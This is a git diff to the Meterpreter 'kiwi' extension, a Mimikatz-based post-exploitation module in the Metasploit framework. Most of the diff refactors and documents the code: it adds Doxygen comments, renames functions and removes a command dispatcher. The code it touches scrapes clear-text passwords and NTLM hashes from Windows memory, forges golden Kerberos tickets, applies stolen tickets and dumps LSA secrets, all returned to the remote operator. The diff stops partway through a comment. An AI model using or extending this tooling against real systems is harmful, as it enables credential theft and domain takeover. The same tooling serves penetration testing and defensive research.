diff --git a/c/meterpreter/source/common/core.c b/c/meterpreter/source/common/core.c index fa440d4c..668d2aca 100644 --- a/c/meterpreter/source/common/core.c +++ b/c/meterpreter/source/common/core.c @@ -324,6 +324,7 @@ DWORD packet_add_tlv_string( Packet *packet, TlvType type, LPCSTR str ) * @param targetTlv Pointer to the \c Tlv which will contain the wide string value * @param type TLV type for the value. * @param str Pointer to the wide-string value to add to the packet. + * @param strLength The length of the string, in characters, excluding the terminating NULL. * @return Indication of success or failure. * @retval ERROR_SUCCESS The operation completed successfully. * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. diff --git a/c/meterpreter/source/extensions/kiwi/debug.h b/c/meterpreter/source/extensions/kiwi/debug.h index 292110f9..2218d067 100644 --- a/c/meterpreter/source/extensions/kiwi/debug.h +++ b/c/meterpreter/source/extensions/kiwi/debug.h @@ -1,6 +1,6 @@ #pragma once -#define DEBUGTRACE +//#define DEBUGTRACE #ifdef DEBUGTRACE #define dprintf(...) real_dprintf(__VA_ARGS__) diff --git a/c/meterpreter/source/extensions/kiwi/mimikatz/main.c b/c/meterpreter/source/extensions/kiwi/mimikatz/main.c index a05a27ba..2fb23ac5 100644 --- a/c/meterpreter/source/extensions/kiwi/mimikatz/main.c +++ b/c/meterpreter/source/extensions/kiwi/mimikatz/main.c @@ -1,13 +1,12 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ +/*! + * @file main.c + * @brief Entry point for the kiwi extension. + */ #include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" - // include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function - // but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the - // second stage reflective dll inject payload and not the metsrv itself when it loads extensions. +// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function +// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the +// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" // this sets the delay load hook function, see DelayLoadMetSrv.h @@ -23,6 +22,7 @@ DWORD request_kerberos_ticket_purge(Remote *remote, Packet *packet); DWORD request_kerberos_ticket_list(Remote *remote, Packet *packet); DWORD request_lsa_dump_secrets(Remote *remote, Packet *packet); +/*! @brief The enabled commands for this extension. */ Command customCommands[] = { COMMAND_REQ("kiwi_scrape_passwords", request_scrape_passwords), @@ -34,6 +34,12 @@ Command customCommands[] = COMMAND_TERMINATOR }; +/*! + * @brief Handler for the lsa dump secrets message. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the incoming packet. + * @returns \c ERROR_SUCCESS + */ DWORD request_lsa_dump_secrets(Remote *remote, Packet *packet) { DWORD result; @@ -47,6 +53,12 @@ DWORD request_lsa_dump_secrets(Remote *remote, Packet *packet) return ERROR_SUCCESS; } +/*! + * @brief Handler for the use kerberos ticket message. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the incoming packet. + * @returns \c ERROR_SUCCESS + */ DWORD request_kerberos_ticket_use(Remote *remote, Packet *packet) { Packet * response = packet_create_response(packet); @@ -70,6 +82,12 @@ DWORD request_kerberos_ticket_use(Remote *remote, Packet *packet) return result; } +/*! + * @brief Handler for the create golden kerberos ticket message. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the incoming packet. + * @returns \c ERROR_SUCCESS + */ DWORD request_kerberos_golden_ticket_create(Remote *remote, Packet *packet) { DWORD result; @@ -94,6 +112,12 @@ DWORD request_kerberos_golden_ticket_create(Remote *remote, Packet *packet) return ERROR_SUCCESS; } +/*! + * @brief Handler for the list kerberos tickets message. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the incoming packet. + * @returns \c ERROR_SUCCESS + */ DWORD request_kerberos_ticket_list(Remote *remote, Packet *packet) { DWORD result; @@ -107,6 +131,12 @@ DWORD request_kerberos_ticket_list(Remote *remote, Packet *packet) return ERROR_SUCCESS; } +/*! + * @brief Handler for the purge current kerberos tickets message. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the incoming packet. + * @returns \c ERROR_SUCCESS + */ DWORD request_kerberos_ticket_purge(Remote *remote, Packet *packet) { DWORD result = mimikatz_kerberos_ticket_purge(); @@ -118,6 +148,12 @@ DWORD request_kerberos_ticket_purge(Remote *remote, Packet *packet) return ERROR_SUCCESS; } +/*! + * @brief Handler for the password scraping message. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the incoming packet. + * @returns \c ERROR_SUCCESS + */ DWORD request_scrape_passwords(Remote *remote, Packet *packet) { DWORD result; @@ -132,15 +168,17 @@ DWORD request_scrape_passwords(Remote *remote, Packet *packet) return ERROR_SUCCESS; } -/* - * Initialize the server extension +/*! + * @brief Initialises the server extension. + * @param remote Pointer to the \c Remote instance. + * @returns \c ERROR_SUCCESS */ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) { hMetSrv = remote->hMetSrv; dprintf("[KIWI] Init server extension - initorclean"); - mimikatz_initOrClean(TRUE); + mimikatz_init_or_clean(TRUE); dprintf("[KIWI] Init server extension - register"); command_register_all(customCommands); @@ -150,12 +188,14 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) return ERROR_SUCCESS; } -/* - * Deinitialize the server extension +/*! + * @brief Deinitialises the server extension. + * @param remote Pointer to the \c Remote instance. + * @returns \c ERROR_SUCCESS */ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) { - mimikatz_initOrClean(FALSE); + mimikatz_init_or_clean(FALSE); command_deregister_all(customCommands); return ERROR_SUCCESS; diff --git a/c/meterpreter/source/extensions/kiwi/mimikatz/main.h b/c/meterpreter/source/extensions/kiwi/mimikatz/main.h index d1e34831..23c8c174 100644 --- a/c/meterpreter/source/extensions/kiwi/mimikatz/main.h +++ b/c/meterpreter/source/extensions/kiwi/mimikatz/main.h @@ -1,3 +1,7 @@ +/*! + * @file main.h + * @brief TLV related bits for the KIWI extension. + */ #ifndef _METERPRETER_SOURCE_EXTENSION_KIWI_KIWI_H #define _METERPRETER_SOURCE_EXTENSION_KIWI_KIWI_H @@ -12,8 +16,7 @@ #define KIWI_PWD_ID_SEK_TSPKG ((UINT)4) #define KIWI_PWD_ID_SEK_LIVESSP ((UINT)5) #define KIWI_PWD_ID_SEK_SSP ((UINT)6) -#define KIWI_PWD_ID_SEK_TICKETS ((UINT)7) -#define KIWI_PWD_ID_SEK_DPAPI ((UINT)8) +#define KIWI_PWD_ID_SEK_DPAPI ((UINT)7) #define TLV_TYPE_KIWI_PWD_ID MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 1) #define TLV_TYPE_KIWI_PWD_RESULT MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_KIWI, TLV_EXTENSIONS + 2) diff --git a/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz.aps b/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz.aps new file mode 100644 index 00000000..1c855516 Binary files /dev/null and b/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz.aps differ diff --git a/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz.c b/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz.c index ff439796..63054958 100644 --- a/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz.c +++ b/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz.c @@ -6,10 +6,6 @@ #include "mimikatz.h" #include "mimikatz_interface.h" -static wchar_t* output = NULL; -static DWORD outputLen = 0; -static DWORD outputSize = 0; - const KUHL_M * mimikatz_modules[] = { //&kuhl_m_standard, &kuhl_m_crypto, @@ -27,7 +23,10 @@ const KUHL_M * mimikatz_modules[] = { &kuhl_m_vault, }; -DWORD mimikatz_doLocal(wchar_t * input); +#ifdef DEBUGTRACE +static wchar_t* output = NULL; +static DWORD outputLen = 0; +static DWORD outputSize = 0; const wchar_t* mimikatz_get_output() { @@ -49,8 +48,8 @@ void mimikatz_append_output(const wchar_t* newOutput) { outputLen += lstrlenW(newOutput) + 1; - dprintf(L"[MIMIKATZ] appending: %s", newOutput); - dprintf(L"[MIMIKATZ] outputSize %u outputLen %u", outputSize, outputLen); + dprintf(L"[KIWI] appending: %s", newOutput); + dprintf(L"[KIWI] outputSize %u outputLen %u", outputSize, outputLen); if (outputSize == 0) { @@ -67,13 +66,7 @@ void mimikatz_append_output(const wchar_t* newOutput) lstrcatW(output, newOutput); } - - -BOOL WINAPI HandlerRoutine(DWORD dwCtrlType) -{ - mimikatz_initOrClean(FALSE); - return FALSE; -} +#endif VOID (WINAPI * RtlGetNtVersionNumbers)(LPDWORD pMajor, LPDWORD pMinor, LPDWORD pBuild); @@ -87,7 +80,7 @@ VOID setup_function_pointers() kull_m_handle_initialise(); } -DWORD mimikatz_initOrClean(BOOL Init) +DWORD mimikatz_init_or_clean(BOOL Init) { unsigned short indexModule; PKUHL_M_C_FUNC_INIT function; @@ -96,19 +89,21 @@ DWORD mimikatz_initOrClean(BOOL Init) if (Init) { - dprintf(L"[MIMIKATZ] initorclean - setting up function pointers"); + dprintf(L"[KIWI] initorclean - setting up function pointers"); setup_function_pointers(); - dprintf(L"[MIMIKATZ] initorclean - set writer"); +#ifdef DEBUGTRACE + dprintf(L"[KIWI] initorclean - set writer"); kull_m_output_set_writer(mimikatz_append_output); +#endif if (RtlGetNtVersionNumbers != NULL) { - dprintf(L"[MIMIKATZ] initorclean - GetNTVersion"); + dprintf(L"[KIWI] initorclean - GetNTVersion"); RtlGetNtVersionNumbers(&MIMIKATZ_NT_MAJOR_VERSION, &MIMIKATZ_NT_MINOR_VERSION, &MIMIKATZ_NT_BUILD_NUMBER); } else { - dprintf(L"[MIMIKATZ] Defaulting to Win2k"); + dprintf(L"[KIWI] Defaulting to Win2k"); // default to Windows 2000 MIMIKATZ_NT_MAJOR_VERSION = 5; MIMIKATZ_NT_MINOR_VERSION = 0; @@ -116,14 +111,14 @@ DWORD mimikatz_initOrClean(BOOL Init) } MIMIKATZ_NT_BUILD_NUMBER &= 0x00003fff; - dprintf(L"[MIMIKATZ] initorclean - Versions: %u %u %u", MIMIKATZ_NT_MAJOR_VERSION, MIMIKATZ_NT_MINOR_VERSION, MIMIKATZ_NT_BUILD_NUMBER); + dprintf(L"[KIWI] initorclean - Versions: %u %u %u", MIMIKATZ_NT_MAJOR_VERSION, MIMIKATZ_NT_MINOR_VERSION, MIMIKATZ_NT_BUILD_NUMBER); offsetToFunc = FIELD_OFFSET(KUHL_M, pInit); - dprintf(L"[MIMIKATZ] initorclean - init done"); + dprintf(L"[KIWI] initorclean - init done"); } else { - dprintf(L"[MIMIKATZ] initorclean - tearing down up"); + dprintf(L"[KIWI] initorclean - tearing down up"); offsetToFunc = FIELD_OFFSET(KUHL_M, pClean); kull_m_output_set_writer(NULL); @@ -133,11 +128,11 @@ DWORD mimikatz_initOrClean(BOOL Init) { if (function = *(PKUHL_M_C_FUNC_INIT *)((ULONG_PTR)(mimikatz_modules[indexModule]) + offsetToFunc)) { - dprintf(L"[MIMIKATZ] initorclean - setting up module %s", mimikatz_modules[indexModule]->shortName); + dprintf(L"[KIWI] initorclean - setting up module %s", mimikatz_modules[indexModule]->shortName); fStatus = function(); if (!NT_SUCCESS(fStatus)) kprintf(L">>> %s of \'%s\' module failed : %08x\n", (Init ? L"INIT" : L"CLEAN"), mimikatz_modules[indexModule]->shortName, fStatus); - dprintf(L"[MIMIKATZ] initorclean - %s done", mimikatz_modules[indexModule]->shortName); + dprintf(L"[KIWI] initorclean - %s done", mimikatz_modules[indexModule]->shortName); } } @@ -146,136 +141,3 @@ DWORD mimikatz_initOrClean(BOOL Init) return (DWORD)STATUS_SUCCESS; } - -DWORD mimikatz_dispatchCommand(wchar_t * input) -{ - NTSTATUS status; - - dprintf(L"[MIMIKATZ] Dispatching command: %s", input); - - switch (input[0]) - { - /*case L'@': - case L'*': - status = mimikatz_doRemote(input + 1); - break;*/ - case L'!': - status = kuhl_m_kernel_do(input + 1); - break; - default: - status = mimikatz_doLocal(input); - } - return (DWORD)status; -} - -DWORD mimikatz_doLocal(wchar_t * input) -{ - NTSTATUS status = STATUS_SUCCESS; - int argc; - wchar_t ** argv = CommandLineToArgvW(input, &argc), *module = NULL, *command = NULL, *match; - unsigned short indexModule, indexCommand; - BOOL moduleFound = FALSE, commandFound = FALSE; - - dprintf(L"[MIMIKATZ] doing local: %s", input); - - if (argv && (argc > 0)) - { - if (match = wcsstr(argv[0], L"::")) - { - dprintf(L"[MIMIKATZ] match: %s", match); - if (module = (wchar_t *)LocalAlloc(LPTR, (match - argv[0] + 1) * sizeof(wchar_t))) - { - if ((unsigned int)(match + 2 - argv[0]) < wcslen(argv[0])) - { - command = match + 2; - } - RtlCopyMemory(module, argv[0], (match - argv[0]) * sizeof(wchar_t)); - dprintf(L"[MIMIKATZ] module: %s", module); - } - } - else - { - command = argv[0]; - } - dprintf(L"[MIMIKATZ] command: %s", command); - - for (indexModule = 0; !moduleFound && (indexModule < sizeof(mimikatz_modules) / sizeof(KUHL_M *)); indexModule++) - { - moduleFound = (!module || (_wcsicmp(module, mimikatz_modules[indexModule]->shortName) == 0)); - dprintf(L"[MIMIKATZ] Checking '%s' against '%s' -> %s", module, mimikatz_modules[indexModule]->shortName, moduleFound ? L"FOUND" : L"not found"); - - if (!moduleFound) - { - continue; - } - - if (!command) - { - continue; - } - - dprintf(L"[MIMIKATZ] Checking '%s' against %d commands for '%s'", command, mimikatz_modules[indexModule]->nbCommands, module); - for (indexCommand = 0; !commandFound && (indexCommand < mimikatz_modules[indexModule]->nbCommands); indexCommand++) - { - dprintf(L"[MIMIKATZ] Checking '%s' against '%s'", command, mimikatz_modules[indexModule]->commands[indexCommand].command); - commandFound = _wcsicmp(command, mimikatz_modules[indexModule]->commands[indexCommand].command) == 0; - if (!commandFound) - { - dprintf(L"[MIMIKATZ] '%s' not found", command); - continue; - } - - dprintf(L"[MIMIKATZ] '%s' FOUND. Executing", command); - status = mimikatz_modules[indexModule]->commands[indexCommand].pCommand(argc - 1, argv + 1); - } - } - - if (!moduleFound) - { - dprintf(L"[MIMIKATZ] \"%s\" module not found !", module); - for (indexModule = 0; indexModule < sizeof(mimikatz_modules) / sizeof(KUHL_M *); indexModule++) - { - kprintf(L"\n%16s", mimikatz_modules[indexModule]->shortName); - if (mimikatz_modules[indexModule]->fullName) - { - kprintf(L" - %s", mimikatz_modules[indexModule]->fullName); - } - if (mimikatz_modules[indexModule]->description) - { - kprintf(L" [%s]", mimikatz_modules[indexModule]->description); - } - } - kprintf(L"\n"); - } - else if (!commandFound) - { - indexModule -= 1; - dprintf(L"[MIMKATZ] \"%s\" command of \"%s\" module not found !", command, mimikatz_modules[indexModule]->shortName); - - kprintf(L"\nModule :\t%s", mimikatz_modules[indexModule]->shortName); - if (mimikatz_modules[indexModule]->fullName) - { - kprintf(L"\nFull name :\t%s", mimikatz_modules[indexModule]->fullName); - } - if (mimikatz_modules[indexModule]->description) - { - kprintf(L"\nDescription :\t%s", mimikatz_modules[indexModule]->description); - } - kprintf(L"\n"); - - for (indexCommand = 0; indexCommand < mimikatz_modules[indexModule]->nbCommands; indexCommand++) - { - kprintf(L"\n%16s", mimikatz_modules[indexModule]->commands[indexCommand].command); - if (mimikatz_modules[indexModule]->commands[indexCommand].description) - { - kprintf(L" - %s", mimikatz_modules[indexModule]->commands[indexCommand].description); - } - } - kprintf(L"\n"); - } - - LocalFree(module); - LocalFree(argv); - } - return (DWORD)status; -} \ No newline at end of file diff --git a/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz.h b/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz.h index 919b5a4e..001080a8 100644 --- a/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz.h +++ b/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz.h @@ -28,6 +28,4 @@ extern VOID (WINAPI * RtlGetNtVersionNumbers)(LPDWORD pMajor, LPDWORD pMinor, LPDWORD pBuild); -BOOL WINAPI HandlerRoutine(DWORD dwCtrlType); - #include "../debug.h" diff --git a/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz_interface.c b/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz_interface.c index 02d62f0c..623eaab0 100644 --- a/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz_interface.c +++ b/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz_interface.c @@ -1,22 +1,37 @@ +/*! + * @file mimikatz_interface.c + * @brief Definition of bridging functions which talk to Mimikatz 2. + */ #include "main.h" #include "mimikatz_interface.h" #include -// dirty hackes to get things to build -// copied from crypto_system +// The following values have been copied from source files because including those files here results in a nasty +// set of errors thanks to macro redefinitions and such. It's horrible, but it builds cleanly. These things are +// not likely to change anyway. + +// Values copied from crypto_system #define MD4_DIGEST_LENGTH 16 #define MD5_DIGEST_LENGTH 16 #define SHA_DIGEST_LENGTH 20 -// copied from globals + +// Values copied from globals #define LM_NTLM_HASH_LENGTH 16 #define TIME_SIZE 28 +// These includes were created to provide a bridge between the Mimikatz code and meterpreter. Without this +// kind of approach we end up doing what we had to do with the old mimikatz and serialise things to CSV +// strings before passing them back to Metasploit. I wanted to avoid this hence instead I'm tapping into +// Mimikatz via callback functions. #include "modules\kuhl_m_lsadump_struct.h" #include "modules\kerberos\khul_m_kerberos_struct.h" typedef void (CALLBACK * PKUHL_M_SEKURLSA_EXTERNAL) (IN CONST PLUID luid, IN CONST PUNICODE_STRING username, IN CONST PUNICODE_STRING domain, IN CONST PUNICODE_STRING password, IN CONST PBYTE lm, IN CONST PBYTE ntlm, IN OUT LPVOID pvData); typedef LONG (* PKUHL_M_SEKURLSA_ENUMERATOR)(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state); +// The functions listed here exist elsewhere in the application. Header files are not included +// due to collisions in include files which result in nasty build errors. The result of these +// functions is actually NTSTATUS, but defining it here via header inclusion isn't possible. extern LONG kuhl_m_sekurlsa_all_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state); extern LONG kuhl_m_sekurlsa_wdigest_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state); extern LONG kuhl_m_sekurlsa_msv_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state); @@ -30,6 +45,12 @@ extern LONG kuhl_m_kerberos_use_ticket(PBYTE fileData, DWORD fileSize); extern LONG kuhl_m_kerberos_create_golden_ticket(PCWCHAR szUser, PCWCHAR szDomain, PCWCHAR szSid, PCWCHAR szNtlm, PBYTE* ticketBuffer, DWORD* ticketBufferSize); extern LONG kuhl_m_kerberos_purge_ticket(); +/*! + * @brief Attempt to determine if the given string is a valid Unicode string. + * @param dwBytes The number of bytes in the given secret value. + * @param pSecret Pointer to the byte sequence representing the secret value. + * @returns Indication of whether the value is a proper unicode string. + */ BOOL is_unicode_string(DWORD dwBytes, LPVOID pSecret) { UNICODE_STRING candidateString = { (USHORT)dwBytes, (USHORT)dwBytes, (PWSTR)pSecret }; @@ -37,7 +58,18 @@ BOOL is_unicode_string(DWORD dwBytes, LPVOID pSecret) return pSecret && IsTextUnicode(candidateString.Buffer, candidateString.Length, &unicodeTestFlags); } -void CALLBACK handle_result(IN CONST PLUID luid, IN CONST PUNICODE_STRING username, IN CONST PUNICODE_STRING domain, +/*! + * @brief Callback function that handles a password enumeration result. + * @param luid The locally unique identifier for this credential entry. + * @param username The name of the user for this credential. + * @param domain The active domain for this credential. + * @param password The clear-text password for this credential. + * @param lm Pointer to the LM hash. + * @param ntlm Pointer to the NTLM hash. + * @param pvData Pointer to context-data for this callback. In this case it contains + * a pointer to the current Packet to add the entry to. + */ +void CALLBACK credential_result_handler(IN CONST PLUID luid, IN CONST PUNICODE_STRING username, IN CONST PUNICODE_STRING domain, IN CONST PUNICODE_STRING password, IN CONST PBYTE lm, IN CONST PBYTE ntlm, IN OUT LPVOID pvData) { UINT hi = 0; @@ -53,19 +85,19 @@ void CALLBACK handle_result(IN CONST PLUID luid, IN CONST PUNICODE_STRING userna if (username != NULL && username->Buffer != NULL && username->Length > 0) { dprintf("[KIWI] Adding username %u chars", username->Length); - lpUserName = packet_add_tlv_wstring_entry(&entries[count++], TLV_TYPE_KIWI_PWD_USERNAME, username->Buffer, username->Length); + lpUserName = packet_add_tlv_wstring_entry(&entries[count++], TLV_TYPE_KIWI_PWD_USERNAME, username->Buffer, username->Length / sizeof(wchar_t)); } if (domain != NULL && domain->Buffer != NULL && domain->Length > 0) { dprintf("[KIWI] Adding domain %u chars", domain->Length); - lpDomain = packet_add_tlv_wstring_entry(&entries[count++], TLV_TYPE_KIWI_PWD_DOMAIN, domain->Buffer, domain->Length); + lpDomain = packet_add_tlv_wstring_entry(&entries[count++], TLV_TYPE_KIWI_PWD_DOMAIN, domain->Buffer, domain->Length / sizeof(wchar_t)); } if (password != NULL && password->Buffer != NULL && password->Length > 0) { dprintf("[KIWI] Adding password %u chars", password->Length); - lpPassword = packet_add_tlv_wstring_entry(&entries[count++], TLV_TYPE_KIWI_PWD_PASSWORD, password->Buffer, password->Length); + lpPassword = packet_add_tlv_wstring_entry(&entries[count++], TLV_TYPE_KIWI_PWD_PASSWORD, password->Buffer, password->Length / sizeof(wchar_t)); } dprintf("[KIWI] Adding auth info"); @@ -105,11 +137,19 @@ void CALLBACK handle_result(IN CONST PLUID luid, IN CONST PUNICODE_STRING userna ++count; } - dprintf("[KIWI] Adding to packet"); - packet_add_tlv_group(packet, TLV_TYPE_KIWI_PWD_RESULT, entries, count); + // don't add this value to the packet unless we have a username, because it's pointless + // otherwise and just adds noise/overhead to the comms + if (lpUserName && lstrlenA(lpUserName) > 0) + { + dprintf("[KIWI] Adding to packet"); + packet_add_tlv_group(packet, TLV_TYPE_KIWI_PWD_RESULT, entries, count); + } + else + { + dprintf("[KIWI] Ignoring result due to lack of username"); + } - - if (lpUserName != NULL) + if (lpUserName) { free(lpUserName); } @@ -125,60 +165,68 @@ void CALLBACK handle_result(IN CONST PLUID luid, IN CONST PUNICODE_STRING userna } } -DWORD mimikatz_scrape_passwords(DWORD cmdId, Packet* packet) +/*! + * @brief Scrape credentials from memory. + * @param dwCmdId ID of the "command" which indicates which type of credential to steal. + * @param pResponse Pointer to the packet to add the results to. + * @returns Indication of success or failure. + */ +DWORD mimikatz_scrape_passwords(DWORD dwCmdId, Packet* pResponse) { - switch (cmdId) + switch (dwCmdId) { case KIWI_PWD_ID_SEK_ALLPASS: { dprintf("[KIWI] running all pass"); - return kuhl_m_sekurlsa_all_enum(handle_result, packet); + return kuhl_m_sekurlsa_all_enum(credential_result_handler, pResponse); } case KIWI_PWD_ID_SEK_WDIGEST: { dprintf("[KIWI] running wdigest"); - return kuhl_m_sekurlsa_wdigest_enum(handle_result, packet); + return kuhl_m_sekurlsa_wdigest_enum(credential_result_handler, pResponse); } case KIWI_PWD_ID_SEK_MSV: { dprintf("[KIWI] running msv"); - return kuhl_m_sekurlsa_msv_enum(handle_result, packet); + return kuhl_m_sekurlsa_msv_enum(credential_result_handler, pResponse); } case KIWI_PWD_ID_SEK_KERBEROS: { dprintf("[KIWI] running kerberos"); - return kuhl_m_sekurlsa_kerberos_enum(handle_result, packet); + return kuhl_m_sekurlsa_kerberos_enum(credential_result_handler, pResponse); } case KIWI_PWD_ID_SEK_TSPKG: { dprintf("[KIWI] running tspkg"); - return kuhl_m_sekurlsa_tspkg_enum(handle_result, packet); + return kuhl_m_sekurlsa_tspkg_enum(credential_result_handler, pResponse); } case KIWI_PWD_ID_SEK_LIVESSP: { dprintf("[KIWI] running livessp"); - return kuhl_m_sekurlsa_livessp_enum(handle_result, packet); + return kuhl_m_sekurlsa_livessp_enum(credential_result_handler, pResponse); } case KIWI_PWD_ID_SEK_SSP: { dprintf("[KIWI] running ssp"); - return kuhl_m_sekurlsa_ssp_enum(handle_result, packet); - } - case KIWI_PWD_ID_SEK_TICKETS: - { - dprintf("[KIWI] running tickets"); - break; - } - case KIWI_PWD_ID_SEK_DPAPI: - { - dprintf("[KIWI] running dpapi"); - break; + return kuhl_m_sekurlsa_ssp_enum(credential_result_handler, pResponse); } + // TODO: Enable this function soon + //case KIWI_PWD_ID_SEK_DPAPI: + //{ + // dprintf("[KIWI] running dpapi"); + // break; + //} } return ERROR_INVALID_PARAMETER; } +/*! + * @brief Helper function that converts an ASCII string to a wchar_t string. + * @param ascii The ASCII version of the string. + * @returns An allocated buffer with the convert string in it. + * @remark If the return result is non-NULL then it needs to be released using \c free(). + */ wchar_t* ascii_to_wide_string(char* ascii) { size_t requiredChars = strlen(ascii) + 1; @@ -191,6 +239,11 @@ wchar_t* ascii_to_wide_string(char* ascii) return buffer; } +/*! + * @brief Helper function that converts a LARGE_INTEGER time value to a string. + * @param time The value of the time to conver to string. + * @param output Buffer that will contain the resulting string. + */ VOID to_system_time_string(LARGE_INTEGER time, char output[TIME_SIZE]) { SYSTEMTIME st; @@ -203,7 +256,13 @@ VOID to_system_time_string(LARGE_INTEGER time, char output[TIME_SIZE]) st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, st.wMilliseconds); } -VOID TicketHandler(LPVOID lpContext, PKERB_TICKET_CACHE_INFO_EX pKerbTicketInfo, PKERB_EXTERNAL_TICKET pExternalTicket) +/*! + * @brief Callback for handling kerberos tickets that are found and are to be returned to Metasploit. + * @param lpContext Pointer to the associated enumeration context, in this case it's a Packet*. + * @param pKerbTicketInfo Pointer to the kerberos ticket information structure that was found. + * @param pExternalTicket Pointer to the external ticket that contains the raw bytes of the ticket that was found. + */ +VOID kerberos_ticket_handler(LPVOID lpContext, PKERB_TICKET_CACHE_INFO_EX pKerbTicketInfo, PKERB_EXTERNAL_TICKET pExternalTicket) { Packet* packet = (Packet*)lpContext; @@ -290,75 +349,105 @@ VOID TicketHandler(LPVOID lpContext, PKERB_TICKET_CACHE_INFO_EX pKerbTicketInfo, } } -DWORD mimikatz_kerberos_ticket_list(BOOL bExport, Packet* response) +/*! + * @brief Enumerate all kerberos tickets. + * @param bExport Indicates whether the raw tickets should be exported or not. + * @param pResponse Pointer to the packet which the results shoudl be added to. + * @returns Indication of success or failure. + */ +DWORD mimikatz_kerberos_ticket_list(BOOL bExport, Packet* pResponse) { KERB_CALLBACK_CTX callbackCtx; - callbackCtx.lpContext = response; - callbackCtx.pTicketHandler = TicketHandler; + callbackCtx.lpContext = pResponse; + callbackCtx.pTicketHandler = kerberos_ticket_handler; return kuhl_m_kerberos_list_tickets(&callbackCtx, bExport); } +/*! + * @brief Purge all applied kerberos tickets. + * @returns Indication of success or failure. + */ DWORD mimikatz_kerberos_ticket_purge() { return kuhl_m_kerberos_purge_ticket(); } -DWORD mimikatz_kerberos_golden_ticket_create(char* user, char* domain, char* sid, char* tgt, Packet* response) +/*! + * @brief Create a golden kerberos ticket which lasts for 10 years (apparently). + * @param lpUser Name of the user to create the ticket for. + * @param lpDomain Name of the domain the ticket should apply to. + * @param lpSid The Domain SID. + * @param lpTgt The ticket granting token. + * @param pResponse Pointer to the packet which the results should be added to. + * @returns Indication of success or failure. + */ +DWORD mimikatz_kerberos_golden_ticket_create(char* lpUser, char* lpDomain, char* lpSid, char* lpTgt, Packet* pResponse) { DWORD result = 0; BYTE* ticketBuffer; DWORD ticketBufferSize; - wchar_t* wUser = ascii_to_wide_string(user); - wchar_t* wDomain = ascii_to_wide_string(domain); - wchar_t* wSid = ascii_to_wide_string(sid); - wchar_t* wTgt = ascii_to_wide_string(tgt); + wchar_t* lpwUser = ascii_to_wide_string(lpUser); + wchar_t* lpwDomain = ascii_to_wide_string(lpDomain); + wchar_t* lpwSid = ascii_to_wide_string(lpSid); + wchar_t* lpwTgt = ascii_to_wide_string(lpTgt); do { - if (!wUser || !wDomain || !wSid || !wTgt) + if (!lpwUser || !lpwDomain || !lpwSid || !lpwTgt) { - dprintf("[MIMIKTAZ] Out of memory"); + dprintf("[KIWI] Out of memory"); result = ERROR_NOT_ENOUGH_MEMORY; } - result = kuhl_m_kerberos_create_golden_ticket(wUser, wDomain, wSid, wTgt, &ticketBuffer, &ticketBufferSize); + result = kuhl_m_kerberos_create_golden_ticket(lpwUser, lpwDomain, lpwSid, lpwTgt, &ticketBuffer, &ticketBufferSize); if (result != ERROR_SUCCESS) { break; } - packet_add_tlv_raw(response, TLV_TYPE_KIWI_KERB_TKT_RAW, ticketBuffer, ticketBufferSize); + packet_add_tlv_raw(pResponse, TLV_TYPE_KIWI_KERB_TKT_RAW, ticketBuffer, ticketBufferSize); } while (0); - if (wUser) + if (lpwUser) { - free(wUser); + free(lpwUser); } - if (wDomain) + if (lpwDomain) { - free(wDomain); + free(lpwDomain); } - if (wSid) + if (lpwSid) { - free(wSid); + free(lpwSid); } - if (wTgt) + if (lpwTgt) { - free(wTgt); + free(lpwTgt); } return result; } -DWORD mimikatz_kerberos_ticket_use(BYTE* buffer, DWORD bufferSize) +/*! + * @brief Apply the given kerberos ticket to the current session. + * @param lpBuffer Pointer to the ticket content. + * @param dwBufferSize The size of the data in the ticket buffer. + * @returns Indication of success or failure. + */ +DWORD mimikatz_kerberos_ticket_use(LPBYTE lpBuffer, DWORD dwBufferSize) { - return kuhl_m_kerberos_use_ticket(buffer, bufferSize); + return kuhl_m_kerberos_use_ticket(lpBuffer, dwBufferSize); } - -VOID PolicyVersionHandler(LPVOID lpContext, USHORT usMajor, USHORT usMinor) +/*! + * @brief Callback handler for policy version information. + * @param lpContext Pointer to the callback context, which in this case is the Packet*. + * @param usMajor The major version number for the policy subsystem. + * @param usMinor 